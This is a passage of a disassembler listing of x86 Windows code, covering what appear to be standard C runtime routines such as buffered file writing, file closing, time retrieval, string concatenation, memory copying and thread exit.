		jmp	short loc_40FBA3
; ---------------------------------------------------------------------------


loc_40FBA0:				; CODE XREF: sub_40FB62+106j
		mov	eax, [ebp+var_8]


loc_40FBA3:				; CODE XREF: sub_40FB62+3Cj
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_40FBDE
		mov	edi, [esi+4]
		test	edi, edi
		jz	short loc_40FBDE
		jl	loc_40FC76
		cmp	ebx, edi
		jnb	short loc_40FBC1
		mov	edi, ebx


loc_40FBC1:				; CODE XREF: sub_40FB62+5Bj
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_410050
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	loc_40FC66
; ---------------------------------------------------------------------------


loc_40FBDE:				; CODE XREF: sub_40FB62+4Aj
					; sub_40FB62+51j
		cmp	ebx, [ebp+var_4]
		jb	short loc_40FC3D
		test	ecx, ecx
		jz	short loc_40FBF2
		push	esi
		call	sub_414ADE
		test	eax, eax
		pop	ecx
		jnz	short loc_40FC31


loc_40FBF2:				; CODE XREF: sub_40FB62+83j
		cmp	[ebp+var_4], 0
		mov	edi, ebx
		jz	short loc_40FC03
		xor	edx, edx
		mov	eax, ebx
		div	[ebp+var_4]
		sub	edi, edx


loc_40FC03:				; CODE XREF: sub_40FB62+96j
		push	edi
		push	[ebp+arg_0]
		push	esi
		call	sub_414AB1
		pop	ecx
		push	eax
		call	sub_4149D5
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40FC2D
		cmp	eax, edi
		mov	ecx, edi
		ja	short loc_40FC24
		mov	ecx, eax


loc_40FC24:				; CODE XREF: sub_40FB62+BEj
		add	[ebp+arg_0], ecx
		sub	ebx, ecx
		cmp	eax, edi
		jnb	short loc_40FC66


loc_40FC2D:				; CODE XREF: sub_40FB62+B8j
		or	dword ptr [esi+0Ch], 20h


loc_40FC31:				; CODE XREF: sub_40FB62+8Ej
					; sub_40FB62+EDj
		mov	eax, [ebp+var_8]


loc_40FC34:				; CODE XREF: sub_40FB62+118j
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_40FC71
; ---------------------------------------------------------------------------


loc_40FC3D:				; CODE XREF: sub_40FB62+7Fj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		push	esi
		push	eax
		call	sub_4111BA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jz	short loc_40FC31
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		test	eax, eax
		mov	[ebp+var_4], eax
		jg	short loc_40FC66
		mov	[ebp+var_4], 1


loc_40FC66:				; CODE XREF: sub_40FB62+77j
					; sub_40FB62+C9j ...
		test	ebx, ebx
		jnz	loc_40FBA0
		mov	eax, [ebp+arg_8]


loc_40FC71:				; CODE XREF: sub_40FB62+D9j
		pop	edi
		pop	esi


loc_40FC73:				; CODE XREF: sub_40FB62+1Aj
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40FC76:				; CODE XREF: sub_40FB62+53j
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_40FC34
sub_40FB62	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FC7C	proc near		; CODE XREF: sub_40460B+108p
					; sub_40499E+127p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	0Ch
		push	offset dword_41F8C0
		call	__SEH_prolog4
		mov	eax, [ebp+arg_4]
		imul	eax, [ebp+arg_8]
		test	eax, eax
		jnz	short loc_40FC97


loc_40FC93:				; CODE XREF: sub_40FC7C+3Dj
		xor	eax, eax
		jmp	short loc_40FCF9
; ---------------------------------------------------------------------------


loc_40FC97:				; CODE XREF: sub_40FC7C+15j
		xor	eax, eax
		xor	esi, esi
		cmp	[ebp+arg_C], esi
		setnz	al
		cmp	eax, esi
		jnz	short loc_40FCBB


loc_40FCA5:				; CODE XREF: sub_40FC7C+49j
		call	sub_40F79E
		mov	[eax], esi
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40DCD8
		add	esp, 14h
		jmp	short loc_40FC93
; ---------------------------------------------------------------------------


loc_40FCBB:				; CODE XREF: sub_40FC7C+27j
		xor	eax, eax
		cmp	[ebp+arg_0], esi
		setnz	al
		cmp	eax, esi
		jz	short loc_40FCA5
		push	[ebp+arg_C]
		call	sub_413B59
		pop	ecx
		mov	[ebp+ms_exc.disabled], esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40FB62
		add	esp, 10h
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40FCFF
		mov	eax, [ebp+var_1C]


loc_40FCF9:				; CODE XREF: sub_40FC7C+19j
		call	__SEH_epilog4
		retn
sub_40FC7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FCFF	proc near		; CODE XREF: sub_40FC7C+75p
					; DATA XREF: .vty:0041F8D8o
		push	dword ptr [ebp+14h]
		call	sub_413BAB
		pop	ecx
		retn
sub_40FCFF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FD09	proc near		; CODE XREF: sub_40FD7C+5Ap

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		xor	edi, edi
		or	ebx, 0FFFFFFFFh
		cmp	esi, edi
		jnz	short loc_40FD36
		call	sub_40F79E
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		mov	dword ptr [eax], 16h
		call	sub_40DCD8
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_40FD78
; ---------------------------------------------------------------------------


loc_40FD36:				; CODE XREF: sub_40FD09+Ej
		test	byte ptr [esi+0Ch], 83h
		jz	short loc_40FD73
		push	esi
		call	sub_414ADE
		push	esi
		mov	ebx, eax
		call	sub_414DC6
		push	esi
		call	sub_414AB1
		push	eax
		call	sub_414CF9
		add	esp, 10h
		test	eax, eax
		jge	short loc_40FD62
		or	ebx, 0FFFFFFFFh
		jmp	short loc_40FD73
; ---------------------------------------------------------------------------


loc_40FD62:				; CODE XREF: sub_40FD09+52j
		mov	eax, [esi+1Ch]
		cmp	eax, edi
		jz	short loc_40FD73
		push	eax
		call	sub_41112C
		pop	ecx
		mov	[esi+1Ch], edi


loc_40FD73:				; CODE XREF: sub_40FD09+31j
					; sub_40FD09+57j ...
		mov	[esi+0Ch], edi
		mov	eax, ebx


loc_40FD78:				; CODE XREF: sub_40FD09+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40FD09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FD7C	proc near		; CODE XREF: sub_40460B+110p
					; sub_40499E+153p ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_41F8E0
		call	__SEH_prolog4
		or	[ebp+var_1C], 0FFFFFFFFh
		xor	eax, eax
		mov	esi, [ebp+arg_0]
		xor	edi, edi
		cmp	esi, edi
		setnz	al
		cmp	eax, edi
		jnz	short loc_40FDB9
		call	sub_40F79E
		mov	dword ptr [eax], 16h
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40DCD8
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_40FDC5
; ---------------------------------------------------------------------------


loc_40FDB9:				; CODE XREF: sub_40FD7C+1Ej
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_40FDCB
		mov	[esi+0Ch], edi


loc_40FDC2:				; CODE XREF: sub_40FD7C+6Fj
		mov	eax, [ebp+var_1C]


loc_40FDC5:				; CODE XREF: sub_40FD7C+3Bj
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------


loc_40FDCB:				; CODE XREF: sub_40FD7C+41j
		push	esi
		call	sub_413B59
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		push	esi
		call	sub_40FD09
		pop	ecx
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40FDF0
		jmp	short loc_40FDC2
sub_40FD7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FDED	proc near		; DATA XREF: .vty:0041F8F8o
		mov	esi, [ebp+8]
sub_40FDED	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40FDF0	proc near		; CODE XREF: sub_40FD7C+6Ap
		push	esi
		call	sub_413BAB
		pop	ecx
		retn
sub_40FDF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FDF8	proc near		; CODE XREF: sub_40376E+CDp
					; sub_40376E+13Ep ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_41C118	; GetSystemTimeAsFileTime
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		push	0
		add	eax, 2AC18000h
		push	989680h
		adc	ecx, 0FE624E21h
		push	ecx
		push	eax
		call	sub_414E00
		mov	ecx, [ebp+arg_0]
		test	ecx, ecx
		jz	short locret_40FE32
		mov	[ecx], eax
		mov	[ecx+4], edx

locret_40FE32:				; CODE XREF: sub_40FDF8+33j
		leave
		retn
sub_40FDF8	endp

; ---------------------------------------------------------------------------
		align 10h
		push	edi
		mov	edi, [esp+8]
		jmp	short loc_40FEB5
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40FE50	proc near		; CODE XREF: sub_40460B+4Ep
					; sub_4047AC+32p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_40FE70


loc_40FE5D:				; CODE XREF: sub_40FE50+1Cj
		mov	al, [ecx]
		add	ecx, 1
		test	al, al
		jz	short loc_40FEA3
		test	ecx, 3
		jnz	short loc_40FE5D
		mov	edi, edi


loc_40FE70:				; CODE XREF: sub_40FE50+Bj
					; sub_40FE50+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_40FE70
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_40FEB2
		test	ah, ah
		jz	short loc_40FEAD
		test	eax, 0FF0000h
		jz	short loc_40FEA8
		test	eax, 0FF000000h
		jz	short loc_40FEA3
		jmp	short loc_40FE70
; ---------------------------------------------------------------------------


loc_40FEA3:				; CODE XREF: sub_40FE50+14j
					; sub_40FE50+4Fj
		lea	edi, [ecx-1]
		jmp	short loc_40FEB5
; ---------------------------------------------------------------------------


loc_40FEA8:				; CODE XREF: sub_40FE50+48j
		lea	edi, [ecx-2]
		jmp	short loc_40FEB5
; ---------------------------------------------------------------------------


loc_40FEAD:				; CODE XREF: sub_40FE50+41j
		lea	edi, [ecx-3]
		jmp	short loc_40FEB5
; ---------------------------------------------------------------------------


loc_40FEB2:				; CODE XREF: sub_40FE50+3Dj
		lea	edi, [ecx-4]


loc_40FEB5:				; CODE XREF: .vty:0040FE45j
					; sub_40FE50+56j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_40FEDE


loc_40FEC1:				; CODE XREF: sub_40FE50+85j
		mov	dl, [ecx]
		add	ecx, 1
		test	dl, dl
		jz	short loc_40FF30
		mov	[edi], dl
		add	edi, 1
		test	ecx, 3
		jnz	short loc_40FEC1
		jmp	short loc_40FEDE
; ---------------------------------------------------------------------------


loc_40FED9:				; CODE XREF: sub_40FE50+A6j
					; sub_40FE50+C0j
		mov	[edi], edx
		add	edi, 4


loc_40FEDE:				; CODE XREF: sub_40FE50+6Fj
					; sub_40FE50+87j
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_40FED9
		test	dl, dl
		jz	short loc_40FF30
		test	dh, dh
		jz	short loc_40FF27
		test	edx, 0FF0000h
		jz	short loc_40FF1A
		test	edx, 0FF000000h
		jz	short loc_40FF12
		jmp	short loc_40FED9
; ---------------------------------------------------------------------------


loc_40FF12:				; CODE XREF: sub_40FE50+BEj
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40FF1A:				; CODE XREF: sub_40FE50+B6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40FF27:				; CODE XREF: sub_40FE50+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40FF30:				; CODE XREF: sub_40FE50+78j
					; sub_40FE50+AAj
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_40FE50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FF38	proc near		; CODE XREF: sub_40FF87+21p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_10]
		call	sub_40F7E2
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax+0ACh], 1
		jle	short loc_40FF68
		lea	eax, [ebp+var_10]
		push	eax
		push	8
		push	[ebp+arg_0]
		call	sub_4139CC
		add	esp, 0Ch
		jmp	short loc_40FF78
; ---------------------------------------------------------------------------


loc_40FF68:				; CODE XREF: sub_40FF38+1Bj
		mov	eax, [eax+0C8h]
		mov	ecx, [ebp+arg_0]
		movzx	eax, byte ptr [eax+ecx*2]
		and	eax, 8


loc_40FF78:				; CODE XREF: sub_40FF38+2Ej
		cmp	[ebp+var_4], 0
		jz	short locret_40FF85
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_40FF85:				; CODE XREF: sub_40FF38+44j
		leave
		retn
sub_40FF38	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FF87	proc near		; CODE XREF: sub_4081BF+F8p

arg_0		= dword	ptr  4

		cmp	dword_424424, 0
		jnz	short loc_40FFA2
		mov	eax, [esp+arg_0]
		mov	ecx, off_423880
		movzx	eax, byte ptr [ecx+eax*2]
		and	eax, 8
		retn
; ---------------------------------------------------------------------------


loc_40FFA2:				; CODE XREF: sub_40FF87+7j
		push	0
		push	[esp+4+arg_0]
		call	sub_40FF38
		pop	ecx
		pop	ecx
		retn
sub_40FF87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFB0	proc near		; CODE XREF: sub_410004+23p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_10]
		call	sub_40F7E2
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax+0ACh], 1
		jle	short loc_40FFE3
		lea	eax, [ebp+var_10]
		push	eax
		push	107h
		push	[ebp+arg_0]
		call	sub_4139CC
		add	esp, 0Ch
		jmp	short loc_40FFF5
; ---------------------------------------------------------------------------


loc_40FFE3:				; CODE XREF: sub_40FFB0+1Bj
		mov	eax, [eax+0C8h]
		mov	ecx, [ebp+arg_0]
		movzx	eax, word ptr [eax+ecx*2]
		and	eax, 107h


loc_40FFF5:				; CODE XREF: sub_40FFB0+31j
		cmp	[ebp+var_4], 0
		jz	short locret_410002
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_410002:				; CODE XREF: sub_40FFB0+49j
		leave
		retn
sub_40FFB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_410004	proc near		; CODE XREF: sub_4081BF+AFp
					; sub_4089E6+B3p

arg_0		= dword	ptr  4

		cmp	dword_424424, 0
		jnz	short loc_410021
		mov	eax, [esp+arg_0]
		mov	ecx, off_423880
		movzx	eax, word ptr [ecx+eax*2]
		and	eax, 107h
		retn
; ---------------------------------------------------------------------------


loc_410021:				; CODE XREF: sub_410004+7j
		push	0
		push	[esp+4+arg_0]
		call	sub_40FFB0
		pop	ecx
		pop	ecx
		retn
sub_410004	endp


; =============== S U B	R O U T	I N E =======================================



sub_41002F	proc near		; CODE XREF: sub_410040j
					; sub_418A60+35p

arg_0		= dword	ptr  4

		push	0Ah
		push	0
		push	[esp+8+arg_0]
		call	sub_415093
		add	esp, 0Ch
		retn
sub_41002F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410040	proc near		; CODE XREF: sub_408E4C+78p
					; sub_408E4C+A3p ...
		jmp	sub_41002F
sub_410040	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410050	proc near		; CODE XREF: sub_405089+B6p
					; sub_40B642+C4p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_410070
		cmp	edi, eax
		jb	loc_410214


loc_410070:				; CODE XREF: sub_410050+16j
		cmp	ecx, 100h
		jb	short loc_410097
		cmp	dword_426008, 0
		jz	short loc_410097
		push	edi
		push	esi
		and	edi, 0Fh
		and	esi, 0Fh
		cmp	edi, esi
		pop	esi
		pop	edi
		jnz	short loc_410097
		pop	esi
		pop	edi
		pop	ebp
		jmp	sub_415143
; ---------------------------------------------------------------------------


loc_410097:				; CODE XREF: sub_410050+26j
					; sub_410050+2Fj ...
		test	edi, 3
		jnz	short loc_4100B4
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4100D4
		rep movsd
		jmp	off_4101C4[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4100B4:				; CODE XREF: sub_410050+4Dj
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4100CC
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_4100D4+4[eax*4]
; ---------------------------------------------------------------------------


loc_4100CC:				; CODE XREF: sub_410050+6Ej
		jmp	dword ptr loc_4101D4[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4100D4:				; CODE XREF: sub_410050+58j
					; sub_410050+B6j ...
		jmp	off_410158[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4100E8
; ---------------------------------------------------------------------------
		adc	al, 1
		inc	ecx
		add	[eax], bh
		add	[ecx+0], eax


loc_4100E8:				; DATA XREF: sub_410050+8Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4100D4
		rep movsd
		jmp	off_4101C4[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4100D4
		rep movsd
		jmp	off_4101C4[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		add	esi, 1
		shr	ecx, 2
		add	edi, 1
		cmp	ecx, 8
		jb	short loc_4100D4
		rep movsd
		jmp	off_4101C4[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_410158	dd offset loc_4101BB	; DATA XREF: sub_410050:loc_4100D4r
		dd offset loc_4101A8
		dd offset loc_4101A0
		dd offset loc_410198
		dd offset loc_410190
		dd offset loc_410188
		dd offset loc_410180
		dd offset loc_410178
; ---------------------------------------------------------------------------


loc_410178:				; CODE XREF: sub_410050:loc_4100D4j
					; DATA XREF: sub_410050+124o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_410180:				; CODE XREF: sub_410050:loc_4100D4j
					; DATA XREF: sub_410050+120o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_410188:				; CODE XREF: sub_410050:loc_4100D4j
					; DATA XREF: sub_410050+11Co
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_410190:				; CODE XREF: sub_410050:loc_4100D4j
					; DATA XREF: sub_410050+118o
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_410198:				; CODE XREF: sub_410050:loc_4100D4j
					; DATA XREF: sub_410050+114o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4101A0:				; CODE XREF: sub_410050:loc_4100D4j
					; DATA XREF: sub_410050+110o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4101A8:				; CODE XREF: sub_410050:loc_4100D4j
					; DATA XREF: sub_410050+10Co
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4101BB:				; CODE XREF: sub_410050:loc_4100D4j
					; DATA XREF: sub_410050:off_410158o
		jmp	off_4101C4[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4101C4	dd offset loc_4101D4	; DATA XREF: sub_410050+5Cr
					; sub_410050+BAr ...
		dd offset loc_4101DC
		dd offset loc_4101E8
		dd offset loc_4101FC
; ---------------------------------------------------------------------------


loc_4101D4:				; CODE XREF: sub_410050+5Cj
					; sub_410050+BAj ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4101DC:				; CODE XREF: sub_410050+5Cj
					; sub_410050+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4101E8:				; CODE XREF: sub_410050+5Cj
					; sub_410050+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4101FC:				; CODE XREF: sub_410050+5Cj
					; sub_410050+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_410214:				; CODE XREF: sub_410050+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_410248
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41023C
		std
		rep movsd
		cld
		jmp	off_410360[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41023C:				; CODE XREF: sub_410050+1DDj
					; sub_410050+238j ...
		neg	ecx
		jmp	off_410310[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_410248:				; CODE XREF: sub_410050+1D2j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_410260
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_410260+4[eax*4]
; ---------------------------------------------------------------------------


loc_410260:				; CODE XREF: sub_410050+202j
					; DATA XREF: sub_410050+209r
		jmp	off_410360[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		jz	short near ptr loc_41026B+1
		inc	ecx


loc_41026B:				; CODE XREF: sub_410050+218j
		add	[eax-3FFFBEFEh], bl
		add	al, [ecx+0]
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		sub	esi, 1
		shr	ecx, 2
		sub	edi, 1
		cmp	ecx, 8
		jb	short loc_41023C
		std
		rep movsd
		cld
		jmp	off_410360[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41023C
		std
		rep movsd
		cld
		jmp	off_410360[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41023C
		std
		rep movsd
		cld
		jmp	off_410360[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_410314
		dd offset loc_41031C
		dd offset loc_410324
		dd offset loc_41032C
		dd offset loc_410334
		dd offset loc_41033C
		dd offset loc_410344
off_410310	dd offset loc_410357	; DATA XREF: sub_410050+1EEr
; ---------------------------------------------------------------------------


loc_410314:				; DATA XREF: sub_410050+2A4o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41031C:				; DATA XREF: sub_410050+2A8o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_410324:				; DATA XREF: sub_410050+2ACo
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41032C:				; DATA XREF: sub_410050+2B0o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_410334:				; DATA XREF: sub_410050+2B4o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41033C:				; DATA XREF: sub_410050+2B8o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_410344:				; DATA XREF: sub_410050+2BCo
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_410357:				; CODE XREF: sub_410050+1EEj
					; DATA XREF: sub_410050:off_410310o
		jmp	off_410360[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_410360	dd offset loc_410370	; DATA XREF: sub_410050+1E3r
					; sub_410050:loc_410260r ...
		dd offset loc_410378
		dd offset loc_410388
		dd offset loc_41039C
; ---------------------------------------------------------------------------


loc_410370:				; CODE XREF: sub_410050+1E3j
					; sub_410050:loc_410260j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_410378:				; CODE XREF: sub_410050+1E3j
					; sub_410050:loc_410260j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_410388:				; CODE XREF: sub_410050+1E3j
					; sub_410050:loc_410260j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41039C:				; CODE XREF: sub_410050+1E3j
					; sub_410050:loc_410260j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_410050	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4103B5	proc near		; CODE XREF: sub_40BB2D+136p
					; sub_40BB2D+232p ...
		jmp	sub_40DD8A
sub_4103B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4103BA	proc near		; CODE XREF: sub_40D2A0+78p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short locret_4103C4
		neg	eax

locret_4103C4:				; CODE XREF: sub_4103BA+6j
		retn
sub_4103BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4103C5	proc near		; CODE XREF: sub_4103C5+55p

arg_0		= dword	ptr  4

		cmp	dword_42602C, 0
		jz	short loc_4103E3
		push	offset dword_42602C
		call	sub_4152A2
		test	eax, eax
		pop	ecx
		jz	short loc_4103E3
		call	dword_42602C


loc_4103E3:				; CODE XREF: sub_4103C5+7j
					; sub_4103C5+16j
		call	sub_411F7A
		test	eax, eax
		jz	short loc_4103F3
		push	eax
		call	sub_412136
		pop	ecx


loc_4103F3:				; CODE XREF: sub_4103C5+25j
		push	[esp+arg_0]
		call	dword_41C11C	; ExitThread
		int	3		; Trap to Debugger


loc_4103FE:				; CODE XREF: .vty:loc_4104B9p
		push	0Ch
		push	offset dword_41F900
		call	__SEH_prolog4
		call	sub_411FFD
		and	dword ptr [ebp-4], 0
		push	dword ptr [eax+58h]
		call	dword ptr [eax+54h]
		push	eax
		call	sub_4103C5
		mov	eax, [ebp-14h]
